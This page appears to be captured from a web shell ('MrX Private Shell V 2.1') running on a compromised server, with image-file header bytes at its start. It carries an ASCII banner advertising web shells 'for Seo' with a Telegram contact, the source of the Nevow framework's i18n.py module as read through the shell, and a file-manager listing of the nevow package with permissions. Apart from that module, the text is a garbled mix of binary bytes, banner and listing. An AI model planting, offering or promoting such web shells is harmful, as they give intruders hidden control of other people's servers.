����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
from zope.interface import implements
from nevow import inevow
def languagesFactory(ctx):
header = inevow.IRequest(ctx).getHeader('accept-language')
if header is None:
return []
langs = []
for lang in header.split(','):
quality = 1.0
if ';' in lang:
lang, quality = lang.split(';', 1)
if quality[:2] == 'q=':
try:
quality = float(quality[2:])
except ValueError:
pass
langs.append((quality, lang))
if '-' in lang:
langs.append((quality, lang.split('-')[0]))
langs.sort(lambda a,b: cmp(b[0], a[0]))
return [lang for quality, lang in langs]
class I18NConfig(object):
implements(inevow.II18NConfig)
def __init__(self,
domain=None,
localeDir=None,
):
self.domain = domain
self.localeDir = localeDir
class PlaceHolder(object):
def __init__(self, translator, *args, **kwargs):
self.translator = translator
self.args = args
self.kwargs = kwargs
_mod = kwargs.pop('_mod', None)
if _mod is None:
_mod = []
self.mod = _mod
def __mod__(self, other):
kw = {}
kw.update(self.kwargs)
kw['_mod'] = self.mod+[other]
return self.__class__(self.translator,
*self.args,
**kw)
def __repr__(self):
args = []
if self.args:
args.append('*%r' % (self.args,))
args.append('translator=%r' % self.translator)
if self.kwargs:
args.append('**%r' % self.kwargs)
s = '%s(%s)' % (
self.__class__.__name__,
', '.join(args),
)
for mod in self.mod:
s += ' %% %r' % (mod,)
return s
def flattenL10n(placeHolder, ctx):
kw = placeHolder.kwargs
try:
languages = inevow.ILanguages(ctx)
except TypeError:
pass
else:
kw = dict(kw) # copy before we mutate it
kw['languages'] = languages
try:
cfg = inevow.II18NConfig(ctx)
except TypeError:
pass
else:
kw = dict(kw) # copy before we mutate it
if cfg.domain is not None:
kw['domain'] = cfg.domain
if cfg.localeDir is not None:
kw['localeDir'] = cfg.localeDir
s = placeHolder.translator(*placeHolder.args, **kw)
for mod in placeHolder.mod:
s = s % mod
return s
class Translator(object):
"""
A gettext-like Translator for Nevow.
The major difference between this and naive gettext is that with
Translator, the actual translation is done as part of Nevow's
flattening process, allowing per-user settings to be retrieved via
the context.
@ivar translator: the actual translation function to use.
@ivar args: positional arguments to pass to translator.
@ivar kwargs: keyword arguments to pass to translator.
@ivar gettextFunction: If using the default translator function,
name of GNU gettext function to wrap. Useful for 'ungettext'.
"""
translator = None
args = None
kwargs = None
gettextFunction = 'ugettext'
def _gettextTranslation(self, *args, **kwargs):
domain = kwargs.pop('domain', None)
localeDir = kwargs.pop('localeDir', None)
languages = kwargs.pop('languages', None)
import gettext
translation = gettext.translation(
domain=domain,
localedir=localeDir,
languages=languages,
fallback=True,
)
fn = getattr(translation,
self.gettextFunction)
return fn(*args, **kwargs)
def __init__(self, **kwargs):
"""
Initialize.
@keyword translator: the translator function to use.
@keyword gettextFunction: The GNU gettext function to
wrap. See class docstring.
@param kwargs: keyword arguments for the translator function.
"""
translator = kwargs.pop('translator', None)
if translator is not None:
self.translator = translator
if self.translator is None:
self.translator = self._gettextTranslation
gettextFunction = kwargs.pop('gettextFunction', None)
if gettextFunction is not None:
self.gettextFunction = gettextFunction
self.kwargs = kwargs
def __call__(self, *args, **kwargs):
"""
Translate a string.
@param args: arguments to pass to translator, usually the
string to translate, or for things like ungettext two strings
and a number.
@param kwargs: keyword arguments for the translator.
Arguments given here will override the ones given at
initialization.
@return: a placeholder that will be translated
when flattened.
@rtype: PlaceHolder
"""
kw = dict(self.kwargs)
kw.update(kwargs)
return PlaceHolder(self.translator, *args, **kw)
_ = Translator()
ungettext = Translator(gettextFunction='ungettext')
def render(translator=None):
"""
Render a localised message.
>>> from nevow import i18n, rend
>>> class MyPage(rend.Page):
... render_i18n = i18n.render()
or, to use a specific domain:
>>> from nevow import i18n, rend
>>> _ = i18n.Translator(domain='foo')
>>> class MyPage(rend.Page):
... render_i18n = i18n.render(translator=_)
"""
if translator is None:
translator = _
def _render(page, ctx, data):
# TODO why does this get page? Is it
# the Page's self? Why would this look
# like a bound method?
children = ctx.tag.children
ctx.tag.clear()
for child in children:
if isinstance(child, basestring):
child = translator(child)
ctx.tag[child]
return ctx.tag
return _render
# TODO also provide macro()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| athena_private | Folder | 0755 |
|
|
| css | Folder | 0755 |
|
|
| flat | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| livetrial | Folder | 0755 |
|
|
| plugins | Folder | 0755 |
|
|
| scripts | Folder | 0755 |
|
|
| taglibrary | Folder | 0755 |
|
|
| test | Folder | 0755 |
|
|
| Canvas.fla | File | 36.5 KB | 0775 |
|
| Canvas.swf | File | 5.61 KB | 0664 |
|
| __init__.py | File | 13.85 KB | 0644 |
|
| __init__.pyc | File | 14.41 KB | 0644 |
|
| _flat.py | File | 19.63 KB | 0644 |
|
| _flat.pyc | File | 19.03 KB | 0644 |
|
| _version.py | File | 537 B | 0644 |
|
| _version.pyc | File | 676 B | 0644 |
|
| _widget_plugin.py | File | 3.34 KB | 0644 |
|
| _widget_plugin.pyc | File | 5.32 KB | 0644 |
|
| accessors.py | File | 3.68 KB | 0644 |
|
| accessors.pyc | File | 6.22 KB | 0644 |
|
| appserver.py | File | 17.58 KB | 0644 |
|
| appserver.pyc | File | 22.34 KB | 0644 |
|
| athena.py | File | 65.41 KB | 0644 |
|
| athena.pyc | File | 75.71 KB | 0644 |
|
| blocks.py | File | 6.13 KB | 0644 |
|
| blocks.pyc | File | 7.16 KB | 0644 |
|
| canvas.as | File | 6.55 KB | 0775 |
|
| canvas.py | File | 15.12 KB | 0644 |
|
| canvas.pyc | File | 23.64 KB | 0644 |
|
| compression.py | File | 6.15 KB | 0644 |
|
| compression.pyc | File | 9.18 KB | 0644 |
|
| compy.py | File | 2.29 KB | 0644 |
|
| compy.pyc | File | 2.92 KB | 0644 |
|
| context.py | File | 11.25 KB | 0644 |
|
| context.pyc | File | 12.77 KB | 0644 |
|
| dirlist.py | File | 4.51 KB | 0644 |
|
| dirlist.pyc | File | 4.88 KB | 0644 |
|
| empty-module.css | File | 0 B | 0664 |
|
| empty-module.js | File | 0 B | 0664 |
|
| entities.py | File | 11.3 KB | 0644 |
|
| entities.pyc | File | 14.99 KB | 0644 |
|
| errors.py | File | 1.29 KB | 0644 |
|
| errors.pyc | File | 2.39 KB | 0644 |
|
| events.py | File | 1.45 KB | 0644 |
|
| events.pyc | File | 2.48 KB | 0644 |
|
| failure.py | File | 6.51 KB | 0644 |
|
| failure.pyc | File | 7.57 KB | 0644 |
|
| guard.py | File | 21.07 KB | 0644 |
|
| guard.pyc | File | 23.02 KB | 0644 |
|
| i18n.py | File | 5.95 KB | 0644 |
|
| i18n.pyc | File | 7.41 KB | 0644 |
|
| inevow.py | File | 21.94 KB | 0644 |
|
| inevow.pyc | File | 36.34 KB | 0644 |
|
| itaglibrary.py | File | 82 B | 0644 |
|
| itaglibrary.pyc | File | 491 B | 0644 |
|
| json.py | File | 8.3 KB | 0644 |
|
| json.pyc | File | 13.49 KB | 0644 |
|
| jsutil.py | File | 3.83 KB | 0644 |
|
| jsutil.pyc | File | 4.22 KB | 0644 |
|
| loaders.py | File | 7.06 KB | 0644 |
|
| loaders.pyc | File | 8.33 KB | 0644 |
|
| page.py | File | 4.51 KB | 0644 |
|
| page.pyc | File | 5.58 KB | 0644 |
|
| query.py | File | 3.37 KB | 0644 |
|
| query.pyc | File | 6.17 KB | 0644 |
|
| rend.py | File | 29.16 KB | 0644 |
|
| rend.pyc | File | 36.3 KB | 0644 |
|
| stan.py | File | 20.95 KB | 0644 |
|
| stan.pyc | File | 29.03 KB | 0644 |
|
| static.py | File | 13.16 KB | 0644 |
|
| static.pyc | File | 16.45 KB | 0644 |
|
| tags.py | File | 1.91 KB | 0644 |
|
| tags.pyc | File | 2.72 KB | 0644 |
|
| testutil.py | File | 17.34 KB | 0644 |
|
| testutil.pyc | File | 26.98 KB | 0644 |
|
| url.py | File | 20.12 KB | 0644 |
|
| url.pyc | File | 25.41 KB | 0644 |
|
| useragent.py | File | 4.86 KB | 0644 |
|
| useragent.pyc | File | 4.88 KB | 0644 |
|
| util.py | File | 7.01 KB | 0644 |
|
| util.pyc | File | 9.55 KB | 0644 |
|
| vhost.py | File | 7.01 KB | 0644 |
|
| vhost.pyc | File | 9.45 KB | 0644 |
|